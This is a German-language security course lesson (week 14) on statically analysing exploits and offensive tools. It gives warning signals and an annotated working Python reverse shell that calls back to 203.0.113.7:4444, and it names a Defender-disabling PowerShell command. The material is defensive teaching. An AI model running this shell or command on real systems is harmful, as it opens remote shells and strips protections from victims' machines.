Woche 14 — Analyse von Code und offensiven Tools
Lernziele
- Einen öffentlichen Exploit lesen, ohne ihn blind auszuführen.
- Gefährliche Payloads, Netzwerk-Rückrufe (Callbacks) und Persistenzmechanismen erkennen.
- Ein offensives Tool dokumentieren wie einen Befund: Beweis, Auswirkung, Abhilfemaßnahme.
Methode zum Lesen eines Exploits
- Erst statisch, niemals Ausführung vor dem Verständnis.
- Die sensiblen Primitiven lokalisieren: Öffnen eines Sockets, Systemaufruf, dynamische
Ausführung (
eval,exec,Function, Reflection). - Die Payload identifizieren: was sie installiert, wen sie kontaktiert, was sie persistiert.
- Das Bedrohungsmodell rekonstruieren: auf welcher Privilegstufe, gegen welche Version, mit welchen Netzwerkvoraussetzungen.
Sofort zu erkennende Signale
- Fest codierte URLs, die auf eine Drittdomäne verweisen.
- Literale IP-Adressen, besonders in einem privaten Wohnbereich-Adressbereich.
- Base64- oder XOR-codierte Zeichenketten — oft eine versteckte Payload.
- Schreibanweisungen in
~/.ssh/authorized_keys,crontab,Registry\Run. - Funktionen, die Schutzmechanismen deaktivieren (
Set-MpPreference -DisableRealtimeMonitoring $true).
Kommentiertes Beispiel
# NICHT AUSFÜHREN — didaktische Anmerkung.
import socket, subprocess, os
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # TCP-Socket
s.connect(("203.0.113.7", 4444)) # fest codierter externer Rückruf
os.dup2(s.fileno(), 0) # Umleitung stdin
os.dup2(s.fileno(), 1) # Umleitung stdout
os.dup2(s.fileno(), 2) # Umleitung stderr
subprocess.call(["/bin/sh", "-i"]) # interaktive Shell
Lesart: TCP-Reverse-Shell, ausgehende Verbindung zu 203.0.113.7:4444, keine Persistenz, keine
Verschleierung. Erkennung möglich durch jede Netzwerkregel, die ungewöhnliche ausgehende
Verbindungen blockiert.
Ethik
Die Veröffentlichung eines funktionsfähigen Exploits muss immer begleitet werden von:
- Einer mit dem Hersteller abgestimmten Frist zur koordinierten Offenlegung.
- Einer dokumentierten Abhilfemaßnahme.
- Einem Verantwortungsrahmen gegenüber den Nutzern.
Nächster Schritt
Sobald diese Lektion als abgeschlossen markiert ist, haben Sie die 16 Etappen des Kurses validiert. Gehen Sie weiter zum Abschlussquiz, um Ihr Zertifikat zu erhalten.